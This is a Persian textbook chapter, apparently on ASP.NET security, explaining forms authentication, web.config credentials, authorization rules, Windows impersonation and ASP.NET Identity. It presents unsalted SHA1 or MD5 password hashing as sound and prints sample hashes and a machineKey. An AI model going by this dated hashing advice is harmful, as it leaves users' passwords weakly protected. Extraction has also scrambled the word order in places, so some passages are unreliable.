شده از حفاظتعملیات درخواست منبع 

 httpدر پروتکل  کارگزار

GET /default.aspx 

 

ود نداشته باشد آن گاه درخواست به جکوکی احراز هویتی واگر هیچ 

 شوداعتبارات تغییر مسیر داده می آوریجمعورود برای  یهحصف

موجود  RETURNURLاصلی در پرامتر  یاطلاعات مربوط به صفحه

 در زیر آمده است. کارگزار  httpباشد. جواب می
302 Found 

Location: 

http://samples.microsoft.com/logon.aspx?RE

TURNURL=/default.aspx 

آن  http تغییر مسیر به صفحه ورود. عملیات

 هست:
GET 

/logon.aspx?RETURNURL=/def

ault.aspx 

  sslاز نظر امنیتی بهتر است از پروتکل  .گرداندد را برمیوور یصفحه

برای صفحه ورود استفاده شود تا اعتبارات کاربر به صورت واضح 

 این است:  کارگزارپاس   نشود.ارسال 

200 OK 

 

بعد از ورود اعتبارات کاربر به صفحه ورود 

 این است:  httpعملیات 
POST 

شود اگر اعتبارات مجاز باشند مرورگر به اعتبارات کاربر بررسی می

 RETURNURLپرسش به عنوان متغیر  یآدرس درخواستی در رشته
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/logon.aspx?RETURNURL=/def

ault.aspx 
بلیط احراز هویت به  فرضپیشبه صورت  شود.مسیر داده میییر غت

با استفاده خصیصه  شود.صورت یک کوکی در نظر گرفته می

CookieMode  بلیط احراز هویت به جای کوکی بر رویurl یره خذ

 .گردد

 این است: کارگزار  httpپاس  

302 Found 

Location: /default.aspx 

شود و منبع اصلی تعییر مسیر دنبال می

 این است:  httpعملیات .شوددرخواست می
GET /default.aspx 

 

شد، کوکی احراز هویت که شامل بلیط احراز هویت احراز  ،اگر کاربر

های بعدی همان شود. درخواستمی تنظیمهویت است برای او 

شوند. احراز هویت میکند وقتی که ماژول کوکی را بررسی می ،نشست

های آتی ممکن است اما تنها تا های پایدار برای نشستایجاد کوکی

 زمان انقضای کوکی اعتبار دارد. 

200 OK 

Set-Cookie: ASPXTICKET=ABCDEFG12345;Path=/ 

ها به های کوکیشود چراکه نام تنظیم ./دقت کنید که مسیر کوکی به 

این از موارد ناسازگاری در  باشند.کوچک حساس می حروف بزرگ و

urlکند. به عنوان مثال اگر مسیر برابر با های سایت جلوگیری می

/SavingsPlan شاملو لینک  تنظیم شده باشد /savingsplan  باشد آنگاه

شود زیرا مرورگر کوکی می دوباره احراز هویتمجبور به کاربر 

 را ارسال نکرده است. موردنظر

 های احراز هویت فرماعتبارنامه 

توان در یک روند را میهای احراز هویت را که برای اعتبارسنجی کاربران هنگام ورود به کار میاعتبارنامه

 خارجی یا فایل پیکربندی برنامه ذخیره کرد.منبع داده 

 های کاربردی سازی کاربران در فایل پیکربندی برنامهذخیره

ی نام کاربری و گذرواژه که در فایل مولفهتوانید با جفت ی احراز هویت شما میهاهنگام استفاده از فرم

برای  Authenticate تابعتوانید از قرار دارند کاربران را اعتبارسنجی کنید شما می سایتوبپیکربندی 

ه کنید براساس این دو نام کاربری استفا گذرواژهی هالفهؤمقایسه اعتبارات به دست آمده از کاربر با جفت م

را  گذرواژهاگر  Johnو  Kim شود در مثال زیر کاربرانمقایسه دسترسی یا عدم دسترسی کاربر مشخص می

  .به درستی وارد کنند آنگاه وارد سایت خواهند شد

https://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.cookiemode.aspx
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<credentials passwordFormat="SHA1" > 

    <user name="Kim" 

          password="07B7F3EE06F278DB966BE960E7CBBD103DF30CA6"/> 

    <user name="John"  

          password="BA56E5E0366D003E98EA1C7F04ABF8FCB3753889"/> 

</credentials> 

 

صفت  .شودرمزگذاری می (SHA1) سازیدرهم ی اعتبارات در این مثال توسط الگوریتمهاجفت مولفه

PasswordFormat آمده است. جدول زیر در ویژگیمقادیر این  .است اجباری 

 ی عبورکلمه: مقادیر ممکن برای قالب 3-5جدول 

 توضیح مقدار

Clear وارد شده توسط کاربر بدون هیچ تبدیل دیگری و  یاند. گذرواژهها به صورت واضح ذخیره شدهگذرواژه

 شود.به طور مستقیم با این مقدار مقایسه می

MD5 سازه از درهمدها با استفاگذرواژه(MD5)  اند. برای اعتبارسنجی، گذرواژه کاربر با استفاده از این ذخیره شده

شود. گذرواژه معمولی و واضح هرگز شود و سپس با مقدار ذخیره شده مقایسه میسازی میالگوریتم درهم

 کارایی بهتری دارد. (SHA1) این الگوریتم نسبت به .شودذخیره یا مقایسه نمی

SHA1 ساز ها با استفاده از درهمگذرواژه(SHA1) گذرواژه کاربر با استفاده از  اعتبارسنجی،شود. برای ذخیره می

معمولی و واضح  یشود. گذرواژهشده مقایسه میذخیرهشود و سپس با مقدار سازی میاین الگوریتم درهم

 برتری دارد.  (MD5)ه الگوریتم این الگوریتم از نظر امنیت نسبت ب .شودهرگز ذخیره یا مقایسه نمی

یی ساده دارد. یک کلاس مفید برای این کار کلاس هاو کلاس هاتابعسازی نت برای درهمچارچوب دات

FormsAuthentication تابعباشد. می HashPasswordForStoringInConfigFile سازی در آن کلاس درهم

 نه هستند.میی دیگری در این زهاانتخاب System.Security.Cryptographyی هادهد. کلاسمیرا انجام 

 هاآناصلی را به دست آورد اما  هایگذرواژهتوان مینشده موجود در فایل متنی سازیدرهم هایگذرواژهاز 

فایل  در این حمله مهاجم بعد از دستیابی به .پذیر هستنددیکشنری آسیب یبه طور بالقوه در برابر حمله

شده سعی در ذخیرهبا مقادیر  هاآنسازی همه لغات موجود در یک دیکشنری و مقایسه با درهم هاگذرواژه

شکلی نیازمند وجود  سازی شده به هردرهم هایگذرواژهسازی دارد. ذخیره هاگذرواژهپیدا کردن 

وه مدیریت اعتبارات با استفاده ی غیرعددی و غیرحرفی برای جلوگیری از این نوع حمله دارد بعلاهاکاراکتر

 تر خواهد بود.آسان  ASP.NETعضویت  از
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 ابزارهای احراز هویت فرم 

استفاده  FormsAuthenticationهای ایستای کلاس تابعتوانید از به منظور مدیریت احراز هویت، شما می

 کند:ها را فهرست میتابعکنید. جدول زیر این 

 FormsAuthenticationهای ایستای کلاس تابع: 4-5جدول 

 شرح تابع

Authenticate  کلاسFormsAuthentication  را با خواندن تنظیمات پیکربندی و

دریافت مقادیر کوکی و مقادیر رمزنگاری برای برنامه جاری، مقداردهی 

 .کنداولیه می

Decrypt  رمز شده که از کوکی  بلیطوقتی یکHTTP  به دست آمده به آن داده

 گرداند.برمی FormsAuthenticationTicketشود، یک نمونه کلاس می

Encrypt  یکFormsAuthenticationTicket گیرد و یک رشته محتوی را می

 HTTPیک تیکت احراز هویت رمز شده مناسب برای کوکی 

 گرداند.برمی

GetAuthCookie  یک کوکی رمزشده احراز هویت را به صورت یکHttpCookie 

 شود.ها اضافه نمیکند. این کوکی به مجموعه کوکیبازیابی می

GetRedirectUrl  آدرسURL یانتقال را برای درخواستی که باعث انتقال به صفحه 

 گرداند.ورود شده است، برمی

HashPasswordForStoringInConfigFile گیرد و سازی را میکننده نوع درهممشخص یو یک رشته یک گذرواژه

سازی در یک فایل سازی شده مناسب برای ذخیرهیک گذرواژه درهم

 گرداند.پیکربندی برمی

Initialize  کلاسFormsAuthentication  را با خواندن تنظیمات پیکربندی و

دریافت مقادیر کوکی و رمزنگاری برای برنامه جاری مقداردهی اولیه 

 کند.می

RedirectFromLoginPage  کاربر احراز هویت شده را بهURL فرستد.درخواستی اصلی می 

RenewTicketIfOld  انقضایFormsAuthenticationTicket کند.را به روز می 

SetAuthCookie های پاس  به مجموعه کوکی آن راسازد و یک بلیط احراز هویت می

 کند.ضمیمه می

SignOut  بلیط احراز هویت را با تنظیم کوکی احراز هویت یا متنURL  به یک



  نتنویسي امن در داتبرنامه 

158 

 

 
 

کند. این کار هر دو کوکی نشست و طولانی مدت مقدار تهی حذف می

 کند.را حذف می

را از نشست احراز هویت شده  بلیط تابعاین  کهاینبا وجود  مهم:

شما ممکن است هنوز در مقابل حملات تکرار  یکند، برنامهحذف می

از جانب یک منبع ناخواسته که بلیط احراز هویت را سرقت کرده 

 پذیر باشد.است، آسیب

 کند:می ارایههای احراز هویت را های مفید برای مدیریت بلیطجدول زیر لیستی از ویژگی

 تیهو احراز یهاطیبل تیریمد یبرا دیمف یهايژگیو: 5-5جدول 

 شرح ویژگي

FormsCookieName گرداندنام کوکی را برای برنامه جاری برمی. 

FormsCookiePath گرداندمسیر کوکی را برای برنامه جاری برمی. 

CookiesSupported  کند که آیا برنامه برای پشتیبانی از احراز گرداند که مشخص میمقدار برمییک

 هویت فرم بدون کوکی پیکربندی شده است یا خیر.

CookieMode کند آیا برنامه برای احراز هویت فرم بدون گرداند که مشخص میمقداری را برمی

 کوکی پیکربندی شده است یا خیر.

CookieDomain  گرداندکوکی احراز هویت فرم را برمیمقدار دامنه. 

DefaultUrl URLگرداند که که احراز هویت فرم اگر هیچ ای را برمیURL  انتقالی تعیین

 کند.هدایت می جاآننشده باشد به 

LoginUrl URL کند.گرداند که احراز هویت فرم به آن هدایت میورود را برمی یصفحه 

RequireSSL  یها باید با استفاده از لایهکند کوکیگرداند که مشخص میبرمیمقداری را 

 سوکت امن منتقل شوند یا خیر.

SlidingExpiration فعال شده است یا  1دهد آیا انقضای متحرکگرداند که نشان میمقداری را برمی

 خیر.

EnableCrossAppRedirects کند آیا کاربران احراز هویت شده را گرداند که مشخص میمقداری را برمی

                                                   

 

 

1 Sliding Expiration 
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فرستاد، هنگامی که دیگر  وبتحتهای کاربردی هایی از برنامهURLتوان به می

 بلیط احراز هویت فرم در کوکی ذخیره نشده است.

 مدیریت رویدادهای احراز هویت فرم 

های زیر از فرایند احراز هویت را مدیریت کنید تا جنبه توانید رویدادهای احراز هویت فرم راشما می

 سازی کنید:سفارشی

 چگونگی ایجاد بلیط احراز هویت فرم 

  چگونگی تنظیم ویژگیUser 

را در فایل  FormsAuthentication_OnAuthenticateتوانید رویداد برای انجام این کارها، شما می

Global.asax کند. با برنامه کاربردی مدیریت کنید. نوعاً احراز هویت فرم این کارها را برای شما مدیریت می

های احراز هویت خاصی داشته باشید، مانند تنظیم ویژگی این حال ممکن است در برنامه شما، شما نیازمندی

User  به یک کلاس خاص که واسطIPrincipal کند.سازی میرا پیاده 

توانید رویداد کنید، شما میبه احراز هویت از طریق سرویس احراز هویت دسترسی پیدا میوقتی شما 

Authenticating سازی کنید. شما های کاربر را سفارشیاعتبارسنجی اعتبارنامه یرا مدیریت کنید تا نحوه

سرویس  سازی محتوای کوکی احراز هویتی کهسفارشیرا برای  CreatingCookieتوانید رویداد می

 گرداند مدیریت کنید.برمی

 های کاربردیبرنامه فرم بیناحراز هویت  

ASP.NET های کاربردی که بر میان برنامهچه کند، شده پشتیبانی میتوزیعهای را در محیط فرم احراز هویت

های برای برنامهفرم شده باشند. هنگامی احراز هویت توزیع 1وب فارمدر یک یا باشند  کارگزارروی یک 

احراز هویت  دوبارهها لازم نیست بین آن برنامه قالتانفعال شده است، کاربران در هنگام  ASP.NETمتعدد 

 شوند.

 های کاربردی:های احراز هویت بین برنامهپیکربندی فرم
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 احراز روی بر که کاربردی هایبرنامه های کاربردی، باید تمامبرنامهبین فرم احراز هویت برای پیکربندی 

را  Web.configدر فایل  MachineKeyو  formsهای بخشهای دارند، ویژگی همکاری مشترکفرم  هویت

 با مقادیر یکسان تنظیم کنند.

، name ،protectionصفات  .دهدمی نشان را Web.config فایل یک هویت احراز بخش زیر، مثال در

path ،validationKey ،validation ،decryptionKey و decryption ها یکسان باید میان تمام برنامه

باشد. به طور مشابه رمزنگاری، مقادیر کلید اعتبارسنجی، طرح رمزنگاری و طرح اعتبارسنجی استفاده شده 

های احراز بلیط)داده کوکی( باید یکسان باشند. اگر تنظیمات یکسان نباشد،  های احراز هویتبرای بلیط

 گذاری نیست.اشتراکل قاب هویت

<configuration> 

  <system.web> 

    <authentication mode="Forms" > 

      <!-- The name, protection, and path attributes must match  

           exactly in each Web.config file. --> 

      <forms loginUrl="login.aspx" 

        name=".ASPXFORMSAUTH"  

        protection="All"   

        path="/"  

        domain="contoso.com"  

        timeout="30" /> 

    </authentication> 

    <!-- Validation and decryption keys must exactly match and cannot 

         be set to "AutoGenerate". The validation and decryption 

         algorithms must also be the same. --> 

    <machineKey 

validationKey="C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401

E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE"  

      decryptionKey="8A9BE8FD67AF6979E7D20198CFEA50DD3D3799C77AF2B72F"  

      validation="SHA1" /> 

  </system.web> 

</configuration> 

، انقضای کوکی براساس مقدار انقضایی است که در خود )کوکی( بلیط احراز هویت صدور یکپس از  

اصلی  ته باشد، تاری  انقضاء و زمان مهرمتفاوت داش 1کوکی معین شده است. اگر دو برنامه زمان توقف

تاری  انقضاء کوکی اولیه برای شود، روز میطول عمر هر کوکی است. هنگامی که یک کوکی به یدارندهنگه
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کند استفاده می تنها زمانی که تنظیمات از مقدار زمان توقف .شوداستفاده می محاسبه تاری  انقضاء جدید

 شود.عه اول ساخته میزمانی است که کوکی برای دف

 کننده احراز هویت ویندوزفراهم ۲-3-5

 ASP.NETرا به عنوان کاربر احراز هویت شده در  IISشده توسط ارسالویندوز، با هویت  هویت احراز

که عبارت  کندمی فراهم کاربر هویت تایید برایمختلف  هویت احراز مکانیزم تعدادی IIS .کندبرخورد می

 ویندوز یکپارچههویت  احراز ،(NTLM) ویندوزیکپارچه  هویت احراز ،1ناشناس هویت احراز اند از:

(Kerberos)، پایه هویت احراز (64شده کدگذاریbase)، براساس احراز هویت و 2خلاصه هویت احراز 

 .کارخواه هاینامهگواهی

 سازیپیاده WindowsAuthenticationModule یپیمانه از استفاده با ASP.NET در ویندوز هویت احراز

سازد و می IIS توسط شدهعرضه هایاعتبارنامه براساس WindowsIdentity یک پیمانه این. است شده

 . کندمی تنظیم افزار،نرم برای جاری User ویژگی مقدار عنوان به را هویت

 هویت احراز حالت عنوان به و است ASP.NET برای فرضپیش هویت احراز مکانیزم ،ویندوز هویت احراز

 داده نشان زیر کد مثال در که طورهمان است، شده شناسایی پیکربندی، عنصر از استفاده با افزارنرم برای

 :است شده

<system.web> 

  <authentication mode="Windows"/> 

</system.web> 

 جعل هویت ویندوز 

 مدارک براساس WindowsIdentity را به یک جاری User ویژگی دارمق ویندوز هویت احراز حالت اگرچه

 هویت. دهدنمی تغییررا  است شده عرضه عاملسیستم به کههویتی . کندتنظیم می IIS توسط شدهعرضه

با  دادهپایگاه به اتصالیا  NTFS هایفایل هایمجوز مانند ،مجوز بررسی برای عاملسیستم به شدهعرضه

 ASP.NET فرآیند هویت ،ویندوز شناسایی فرضپیش طورهب. رودامنیت یکپارچه، به کار میاستفاده از 

                                                   

 

 

1 Anonymous Authentication 

2 Digest Authentication 
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 ASP.NETحساب محلی  که است، ASP.NET فرآیند از هویت این ،XP ویندوز و 2000 ویندوز در. است

کاربردی ی برنامه که است IIS کاربردی یمنبع برنامه ، هویتهویت این ،2003 سرور ویندوز در. است

ASP.NET حساب کاربردی  فرضپیش طورهب بخشی از آن است وNETWORK SERVICE است. 

به عنوان هویت ویندوز  راASP.NET  افزارنرم ویندوز هویتبا فعال کردن جعل هویت،  توانیدمی شما

 شدهعرضه هایهویت که گوییدمی ASP.NET افزارنرمبه  ،یعنی. کنید پیکربندی IIS توسط شدهعرضه

، شبکه و فایل به دسترسی از قبیل است معتبرویندوز  عاملسیستم در که وظایفی همه برای را IIS توسط

 کند. جعل

 موجود در برنامه مقدار Web.config فایل در باید شما، وب یبرنامه برای هویت جعل کردن فعال برای

 :است شده داده نشان زیرمثال  در که طورهمان قرار دهید، Trueرا مقدار  impersonate صفت

<system.web> 

  <authentication mode="Windows"/> 

  <identity impersonate="true"/> 

</system.web> 

 ASP.NET در مجازشماری 4-5

دو  ASP.NET. در شود یا خیرکه آیا دسترسی به منابع خاص به یک هویت اعطا کند میتعیین مجازشماری 

 وجود دارد: به یک منبع خاصدسترسی مجازشماری راه برای 

 یپیمانهتوسط  هافایل ازشماریفایل: مج مجازشماری FileAuthorizationModule شود. انجام می

تعیین تا  کندمیرا بررسی asmx. یا  aspx. کنندهادارهفایل ( ACLلیست کنترل دسترسی ) پیمانه این

هویت ویندوز برای  ACL مجوزهای. ترسی داشته باشد یا خیرکند که آیا یک کاربر باید به فایل دس

 ASP.NETفعال باشد( یا برای هویت ویندوز فرآیند  در صورتی که احراز هویت ویندوزکاربر )

 .شوندبررسی می

  مجازشماریURL :مجازشماری URL  توسطUrlAuthorizationModule  ها را کاربران و نقشکه

تواند برای انتخاب می پیمانهشود. این کند، انجام مینگاشت می ASP.NETافزار ها در نرمURLبه 

( برای کاربران یا هاپوشهافزار )معمولا های مختلف از یک نرماجازه یا رد برای دسترسی به بخش

 بکار برود. ی خاصهانقش
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 URLاستفاده از مجازشماری  1-4-5

خاص توسط نام کاربر یا نقش را قبول یا  یپوشهطور صریح دسترسی به یک ه، شما بURLمجازشماری با 

در فایل پیکربندی برای آن پوشه ایجاد  مجازشماریکنید. برای انجام این کار، شما یک بخش را رد می

اجازه یا عناصر ها را برای ، شما یک لیست از کاربران یا نقشURL مجازشماریکنید. برای فعال کردن می

های پوشهکنید. مجوز تعیین شده برای یک پوشه به زیرکربندی مشخص میرد از بخش مجوز یک فایل پی

 . رونویسی کند آن را زیرپوشههای پیکربندی در یک فایل کهاینشود، مگر اعمال مینیز آن 

 در زیر نشان داده شده است: ازشماریبرای بخش مج پیکربندی

<authorization> 

  <[allow|deny] users roles verbs /> 

</authorization> 

را مشخص کنید. هر دو را  rolesیا  users صفات. شما باید یکی از الزامی است denyیا  allowعنصر 

 اختیاری است.  verbsصفت . استفاده کرد، اما هر دو الزامی نیستندتواند می

یی که در جدول زیر هاکنند. هر عنصر از ویژگیبه ترتیب دسترسی را اعطا یا لغو می denyو  allowعناصر 

 :کندنشان داده شده است پشتیبانی می

 denyو  allowهای عناصر : ویژگي6-5جدول 

 توصیف ویژگي

users کندیم ییعنصر را شناسا نیا ی( برایکاربر یهاهدف )حساب هایهویت. 

تمام  دیتوانیشوند. شما میعلامت سوال)؟( مشخص م کیناشناس با استفاده از  کاربران

 .دیرا با استفاده از علامت ستاره )*( مشخص کن احراز هویت شدهکاربران 

roles  یک( شییک نقش RolePrincipal در درخواست فعلی که دسترسی به منبع برای آن )

 شود.شود یا نمیاجازه داده می

verbs های فعلHTTP شود از قبیل دستورات که به عمل اعمال میGET,HEADوPOST    را

فرض آن )*( است که به معنی فعال شدن هر سه مقدار ذکر پیشکند. مقدار تعریف می

 شده است.

 johnبرای هویت را دسترسی  و کنداعطا می Adminsنقش  یو اعضا Kimبه هویت  را مثال زیر دسترسی

 . کندلغو میباشد( و برای همه کاربران ناشناس  Adminsل نقش شام john)مگراینکه هویت 

<authorization> 

  <allow users="Kim"/> 

  <allow roles="Admins"/> 
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  <deny users="John"/> 

  <deny users="?"/> 

</authorization> 

های جدا شده با استفاده از لیست rolesو  usersتوانید چندین موجودیت را برای هر کدام از صفات شما می 

 گونه که در مثال زیر آمده است:توسط کاما مشخص کنید، آن

<allow users="John, Kim, contoso\Jane"/> 

باید هم دامنه و هم نام کاربر را  کنید،توجه داشته باشید که اگر شما یک نام حساب دامنه را استفاده می

 .(contoso\johnبیاورید )

 Kimدهد ولی فقط به برای یک منبع را می HTTP GETاجرای یک  یکاربران اجازه یزیر به همهمثال 

 دهد:را می POSTانجام یک عمل  یاجازه

<authorization> 

  <allow verbs="GET" users="*"/> 

  <allow verbs="POST" users="Kim"/> 

  <deny verbs="POST" users="*"/>  

</authorization> 

 شود:به صورت زیر اعمال می قواعد

 د. سیستم نباشمقدم بر قوانین ارث برده میهستند های پیکربندی در سطح برنامه فایل قواعدی که در

کند که تعیین می URLبرای یک  قواعد یشده از همهادغاممقدم را با استفاده از یک لیست  قاعده

ین هستند( در ابتدای لیست قرار ترکه در سلسه مراتب نزدیک ییهاآن) قواعدجدیدترین  در آن

 . اندگرفته

 شده از قواعدادغامای با داشتن مجموعه ،ASP.NET را  قواعدکند و از ابتدای لیست شروع می

شامل یک  ASP.NETفرض برای پیشکه اولین تطابق پیدا شود. پیکربندی کند تا زمانیمی بررسی

 قاعده درفرض، این پیشسازد. )بطور کاربران را مجاز می ی، که همه<”*”=allow user>عنصر 

 401.( اگر هیچ نقش مجاز دیگر تطابق پیدا نکند، درخواست با کد وضعیت شودمیآخر اعمال 

HTTP درخواست پردازش دهد تا اجازه می پیمانهگردد. اگر یک عنصر اجازه تطابق پیدا کند، برمی

 .ادامه پیدا کند

برای مشخص کردن یک فایل  (locationمکان )توانید یک عنصر می چنینهمفایل پیکربندی، شما  یک در

 باید اعمال شود.  مکانمشخص کنید که تنظیمات در آن عنصر  پوشهخاص یا 
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 های احراز هویت فرمسازی بلیطامن 5-5

 بگیرید:توانید به کار های احراز هویت فرم دو روش زیر را میسازی بلیطامنبرای 

  استفاده ازSSL صفحات. یبرای همه 

  های رمزنگاری برای کلاس تابعاستفاده ازFormsAuthentication 

 برای تمام صفحات SSLاستفاده از  1-5-5

کند تا مطمئن شویم که کوکی احراز هویت در یک نشست برای تمام صفحات کمک می SSLاستفاده از 

صفحات فراهم  یماند تا دسترسی امن به همهامن باقی می SSLبا استفاده از رمزنگاری  کارخواهمرورگر 

هایی که کاربردی شما جلوی افشای کوکی احراز هویت و فرم یدر برنامه SSL. با استفاده از رمزنگاری شود

 گیرید.اطلاعات با ارزش دیگر را می

را وقتی  SSLقرار دهید. این  trueبرای  Web.configرا در فایل  requireSSLبرای این کار مقدار ویژگی 

قرار ندهید،  trueرا برابر  requireSSLکند. اگر شما مقدار شود، فعال میکه کوکی برای مرورگر فرستاده می

 شود.گرداند و با کوکی احراز هویت نمیفرم یک استثنا برمی

های کاربر کمک از اعتبارنامه تنظیم شده باشد، اتصال رمزشده به محافظت trueبه مقدار  requireSSLوقتی 

کند. مرورگر را برای کوکی احراز هویت تنظیم می HttpCookie.Secureویژگی  ASP.NETکند و می

دهد که چگونه این استفاده کند. مثال زیر نشان می SSLاتصال از  کهاینگرداند مگر سازگار کوکی را برنمی

 دهید:کار را در فایل پیکربندی برنامه خود انجام 

<configuration> 

 <system.web> 

   <authentication mode="Forms"> 

     <forms name=".ASPXAUTH" 

       loginUrl="login.aspx"  

       protection="All" 

       timeout="20" 

       requireSSL="true"> 

     </forms> 

   </authentication >  

   <authorization> 

     <deny users="?" /> 

   </authorization> 

 </system.web> 

</configuration> 
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 FormsAuthenticationکلاس  یبرا یرمزنگار یهاتابعاستفاده از  ۲-5-5

هایی که به برای احراز هویت آغازین ورود برای رمزنگاری اعتبارنامه یدر صفحه SSLاگر شما فقط از 

مطمئن شوید که بلیط احراز هویت فرم که در کوکی قرار دارد محافظت  کنید،شوند استفاده میارسال می

و کارگزار در  کارخواههای احراز هویت فرم باید محافظت شوند چون این کوکی بین شده است. بلیط

از عنصر  protectionکردن بلیط احراز هویت فرم، صفت  شود. برای رمزهای بعدی ردوبدل میدرخواست

forms  تابعرا پیکربندی کنید و از Encrypt  از کلاسFormsAuthentication :برای بلیط استفاده کنید 

<authentication mode="Forms"> 

  <forms name="MyAppFormsAuth" 

       loginUrl="login.aspx" 

       protection="All" 

       timeout="20"  

       path="/" > 

  </forms> 

</authentication>  

 تابعمقداردهی شده است، وقتی که برنامه  Allبا  protectionکه صفت ییجاآناز 

FormsAuthentication.Encrypt وقتی که بلیط  کند، بلیط باید اعتبارسنجی و رمز شود.را فراخوانی می

بلیط را در قسمت مدیریت رویداد را فراخوانی کنید. شما نوعاً  Encrypt تابعسازید، احراز هویت فرم را می

Login سازید:برنامه می 

string encryptedTicket = FormsAuthentication.Encrypt(authTicket); 

 ASP.NETهویت  6-5

تغییرات  معرفی شد، و از آن زمان 2005در سال  ASP.NET 2.0 مراهه به ASP.NET عضویت سیستم

 .وب بوجود آمده است هایبرنامهتوسط  هاشماریمجاززیادی در چگونگی مدیریت احزار هویت و 

 ASP.NETزمینه: عضویت پیش 1-6-5

بودند طراحی  رایج 2005 سال ها که درسایتوب عضویت سیستم نیازهای برای تامین ASP.NET عضویت

نام و رمز  یذخیره برای SQL Server دادهپایگاه و فرم هویت احراز هایکه شامل مواردی مانند فرم شد

های کاربردی برنامه هایداده ذخیره برای بیشتری بسیار هایگزینه شد. امروزهمی هایشانپروفایل و کاربران

 احراز برای نیز اجتماعی هایشبکه اطلاعات از خواهندمی دهندگانتوسعه دارد و بسیاری از وجود وب

 ASP.NETعضویت سیستم طراحی هایمحدودیت .کنند استفاده کاربرانشان دسترسی سطوح تعیین و هویت

 :کندمی دشوار را تحول این از گذر 

http://msdn.microsoft.com/en-us/library/yh26yfzy%28v=VS.100%29.aspx
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 برای آن دادهپایگاه شمای SQL Server اطلاعات توانیدمی. قابلیت تغییر ندارد و است شده طراحی 

با  هاآن به دسترسی که شوند،می ذخیره دیگر جدول یک در هاداده تمام اما کنید، اضافه را پروفایل

 .فراهم کننده پروفایل مشکل است APIای به جز هر وسیله

 اطلاعاتی هایبانک از توانیدمی مثلا دهد،می شما به را هاداده منبع تغییر امکان کنندهفراهم سیستم 

MySQL یا Oracle که است شده طراحی هاییفرضپیش اساس بر سیستم تمام اما. کنید استفاده 

 هایداده تا بنویسید ایکنندهفراهم توانیدمی. هستند درست ایرابطه اطلاعاتی هایبانک برای تنها

 Azureسازی ذخیرهول امانند جد ایسازی غیررابطهیک مکانیزم ذخیره در را عضویت سیستم

 هایدادهپایگاه به که هاییتابع برای. بنویسید کد زیادی مقادیر باید صورت این در اما. ذخیره کنید

NoSQL هم زیادی نیستند مقادیر مربوط System.NotImplementedException  آیدمیبوجود،. 

 عضویت سیستم کند،می کاراحراز هویت فرم  مدل اساس بر خروج/ورود سیستم کهییجاآن از 

 است هویت احراز برای افزارمیان هاییکامپوننت شامل OWIN. کند استفاده OWIN از تواندنمی

 ,Microsoft Accounts, Facebook, Google مانند) شودمی هم خارجی هایسرویس شامل که

Twitter .)سازمانی کاربری هایحساب توسط سیستم به ورود امکان چنینهم (Organizational 

Accounts )نندما دارد وجود نیز Active Directory و Windows Azure Active Directory .

OWIN از OAuth 2.0، JWT و CORS کندمی پشتیبانی نیز. 

 ASP.NET 1عضویت ساده ۲-6-5

توسعه داده شده   ASP.NET Web Pagesبه عنوان یک سیستم عضویت برای  ASP.NETساده  تیعضو

 این یتوسعه از هدف .است منتشر شده SP1 2010ویژوال استودیو  است. این سیستم با وب ماتریکس و

 بود. Web Pagesهای برنامه به عضویت اضافه کردن سیستم فرایند کردن آسان سیستم،

تری انجام شود اما سازی اطلاعات پروفایل کاربران به صورت آسانشخصیباعث شد که  عضویت ساده

 اند از:ها عبارتدر آن وجود دارد که برخی از این محدودیت ASP.NETعضویت  هنوز مشکلات

 های اطلاعاتی غیررابطه ایهای سیستم عضویت در بانکداده یمشکل ذخیره 

                                                   

 

 

1 Simple Membership 
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 به همراهاز آن  توانمین OWIN .استفاده کرد 

 کنندگان عضویت موجود فراهم با خوبی بهASP.NET توسعه هم ندارد قابلیت و کندنمی کار. 

 ASP.NETکنندگان سراسری فراهم 3-6-5

 دادهپایگاهسازی اطلاعات عضویت در تا امکان ذخیره ،توسعه داده شد ASP.NETکنندگان سراسری فراهم

Azure SQL  یفشرده یبا نسخه چنینهم هاآنمایکروسافت ممکن شود و SQL Server کنند. هم کار می

کنندگان فراهم کهاینیعنی  اندشدهساخته  Entity Framework Code Firstکنندگان سراسری بر اساس فراهم

شود به کار برد. در پشتیبانی می EFسازی داده در هر پایگاهی که توسط توان برای ذخیرهسراسری را می

 سازی شد.هم تا حد زیادی پاک دادهپایگاهکنندگان سراسری شمای فراهم

های بنابراین همان محدودیت اندشدهساخته  ASP.NETکنندگان سراسری روی زیرساخت عضویت فراهم

و  اندشدهای ساخته های رابطهدادهبرای پایگاه هاآنرا دارند. یعنی  SqlMembershipکننده فراهم

کنندگان هم هنوز از احراز هویت فرم برای سازی اطلاعات کاربر و پروفایل مشکل است. این فراهمسفارشی

 کنند.میورود و خروج استفاده 

 ASP.NETپیدایش هویت  4-6-5

 نیز ASP.NET تیم است، کرده رشد و تغییر سالیان طی ASP.NET عضویت سیستم داستان که طورهمان

 .اندآورده بدست انکارخواه بازخوردهای از زیادی هایآموخته

 ثبت هم خودتانبرنامه کاربردی  در که ی عبورکلمه و کاربری نام یک توسط شما کاربران که فرضپیش این

 طریق از کاربران. است شده اجتماعی وب دنیای. نیست معتبر دیگر شد، خواهند وارد سایت به است شده

 هایی)به صورت زنده( از طریق شبکه در زمان واقعی یکدیگر با متعددی اجتماعی هایشبکه و هاسایتوب

 در تعامل هستند. تویتر و فیسبوک مانند

. اندکرده رشد و تغییر نیز سازیهای پیادهالگو است، کرده رشد وبتحت هایافزارنرم توسعه که طورهمان

. است شده دهندگانتوسعه هاینگرانی ترینمهم از یکی ،های کاربردیبر روی کد برنامهآزمون واحد  امکان

 اضافه MVC) )کننده کنترل-دید-مدل الگوی اساس بر را جدیدی چارچوب ASP.NET تیم 2008 سال در

. بود بهترآزمون واحد  قابلیت با ASP.NET هایبرنامه تولید برای دهندگان،توسعه به کمک آن هدف. کردند

 را امکان همین کنند، آزموندر سطح واحد  را خود های کاربردیبرنامه کد خواستندمی که دهندگانیتوسعه

 .خواستندمی نیز عضویت سیستم برای



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

16۹ 

 

 
 

توسعه با اهداف زیر ASP.NET ، هویت وب بوجود آمده هایبرنامهبا در نظر گرفتن تغییراتی که در توسعه 

 :یافت

  سیستم واحد هویتASP.NET 

o هویت  سیستمASP.NET از برگرفته شده هایچارچوب تمام در تواندمی ASP.NET 

 و ASP.NET MVC, Web Forms, Web Pages, Web API مانند. شود استفاده

SignalR  
o استفاده ترکیبی هایبرنامه یا موبایل و وب، هایبرنامه تولید در توانیدمی سیستم این از 

 .کنید

